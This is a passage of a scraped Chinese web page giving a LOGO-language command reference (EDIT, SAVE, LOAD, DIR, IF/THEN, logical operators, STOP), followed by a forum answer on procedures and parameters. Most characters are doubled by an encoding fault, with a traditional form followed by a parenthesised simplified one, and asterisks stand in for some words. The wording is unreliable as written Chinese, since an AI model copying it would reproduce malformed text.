(:N為顏色代碼) [功能]: 剛進(jìn)入LOGO系統(tǒng)時(shí), 背景顏色是黑色。使用這命令可以改變背景顏色。 24、進(jìn)入編輯器: [格式]: ⑴EDIT ⑵EDIT 過(guò)程1 過(guò)程2 ?? ⑶EDIT ALL [功能]: ⑴建立新的過(guò)程或編輯*一次定義的過(guò)程。 ⑵編輯內(nèi)存中指定的過(guò)程。 ⑶編輯內(nèi)存中所有的過(guò)程。 [說(shuō)明]: LOGO編輯器共分為3個(gè)區(qū): 最上方是菜單區(qū), 中間是編輯區(qū), 下面是熱鍵提示區(qū)。 25、存盤(pán)命令: SAVE [格式]: SAVE "文件名 [功能]: 把當(dāng)前工作區(qū)里的所有過(guò)程以指定的文件名存盤(pán)。 LOGO文件的擴(kuò)展名為 .LGO。 而使用SAVEPIC命令是把圖形存盤(pán), 但無(wú)法進(jìn)行修改, 且所占磁盤(pán)空間比較大。 [注意]: 在編好一個(gè)程序并使用SAVE命令存盤(pán)以后, 應(yīng)當(dāng)使用ER ALL命令刪除當(dāng)前工作區(qū)內(nèi)的所有過(guò)程。以免與其他的程序混亂在一起。 26、讀盤(pán)命令: LOAD [格式]: LOAD "文件名 [功能]: 把已經(jīng)存在當(dāng)前驅(qū)動(dòng)盤(pán)里的程序文件讀入當(dāng)前工作區(qū)。 27、列磁盤(pán)目錄命令: DIR [格式]: DIR [功能]: 顯示當(dāng)前目錄下的所有文件名。 28、條件命令: (IF?THEN?) [格式1]: IF 條件 THEN 命令 [功能]: 如果(IF)后面給定的條件成立, 那么就執(zhí)行后面(THEN)的命令; 否則就直接執(zhí)行下一行的其它命令。 [格式2]: IF 條件 [命令1] [命令2] [功能]: 如果(IF)后面給定的條件成立, 那么就執(zhí)行命令1, 否則就執(zhí)行命令2。 [說(shuō)明]: 條件都用“比較算式”表示。常用的“比較符號(hào)”有: >大于、<小于、=等于=、>=大于或等于,(“=>”和“>=”的意義是相同的)、<=小于或等于,(“=<”和“<=”的意義是相同的)。 29、復(fù)合條件: (邏輯判斷 < 表達(dá)式 > < 比較符 > < 表達(dá)式 >) ①、邏輯非: NOT [格式]: NOT 條件 [說(shuō)明]: 當(dāng)條件為真時(shí), 邏輯非運(yùn)算的結(jié)果為假 (FALSE); 當(dāng)條件為假時(shí), 邏輯非運(yùn)算的結(jié)果為真(TRUE)。 ②、邏輯或: OR [格式1]: OR 條件1 條件2 [格式2]: (OR 條件1 條件2 條件3??) [說(shuō)明]: 當(dāng)所有條件都不成立,即條件全為假(FALSE), 邏輯或的結(jié)果為假,否則為真(TRUE)。 ③、邏輯與: AND [格式1]: AND 條件1 條件2 [格式2]: (AND 條件1 條件2 條件3??) [說(shuō)明]: 當(dāng)所有條件同時(shí)成立,即條件都為真(TRUE), 邏輯與的結(jié)果為真,否則為假(FALSE)。 30、停止命令: STOP [格式]: STOP [功能]: 停止正在執(zhí)行中的命令。
7.誰(shuí)會(huì)搞logo**的
*就學(xué)什么編法的啦,不會(huì)吧,現(xiàn)在的*生還真是任務(wù)艱巨吖,年紀(jì)小小就要去學(xué)這么深?yuàn)W的東西LOGO語(yǔ)言是一種早期的編程語(yǔ)言,也是一種與自然語(yǔ)言非常接近的編程語(yǔ)言,它通過(guò)“繪圖”的方式來(lái)學(xué)習(xí)編程,對(duì)初學(xué)者特別是兒童進(jìn)行寓教于樂(lè)的教學(xué)方式。1.作為一個(gè)程序是以“起始”為開(kāi)始,“終止”為結(jié)束。當(dāng)選擇“編輯新程序”時(shí),在程序編輯區(qū)中將會(huì)出現(xiàn)以下的字符,供程序者填入相應(yīng)的命令。To(起始)程序名稱(chēng)N//修改程序名稱(chēng)以供識(shí)別…………..…………..//輸入解決問(wèn)題所用到的命令…………..End(終止)2.繪制不同大小的圖形時(shí)需要選擇不同的參數(shù),所以使用者在設(shè)計(jì)程序時(shí),需要使用一個(gè)比較適合的并有意義的名稱(chēng)來(lái)代表,傳給參數(shù)的數(shù)值資料不同則執(zhí)行結(jié)果也就不同,并且程序在執(zhí)行過(guò)程中,也會(huì)不斷地變化參數(shù)的內(nèi)容。在選擇參數(shù)時(shí),需要在參數(shù)名稱(chēng)前面加上冒號(hào),用來(lái)與一般程序中的命令區(qū)別開(kāi)。如:起始程序名稱(chēng)N:參數(shù)1:參數(shù)2…//定義列…………….Repeat:參數(shù)1[Forward:參數(shù)2…]//輸入解決問(wèn)題所需的命令…………….終止當(dāng)程序內(nèi)容含有參數(shù)時(shí),必須將所有參數(shù)寫(xiě)在定義列之后,以便執(zhí)行時(shí)能接收必要的資料。3.IF…THEN…ELSE…條件執(zhí)行語(yǔ)句基本格式為:IF條件表達(dá)式THEN[命令行1]ELSE[命令行2][命令行3]當(dāng)條件表達(dá)式:成立時(shí),執(zhí)行[命令行1]內(nèi)的命令;不成立時(shí),執(zhí)行[命令行2]內(nèi)的指令;在執(zhí)行完[命令行1]或[命令行2]之后,則繼續(xù)執(zhí)行[命令行3]該軟件可在
如果以上內(nèi)容沒(méi)有幫到您,歡迎電話聯(lián)系我們,或者聯(lián)系在線客服咨詢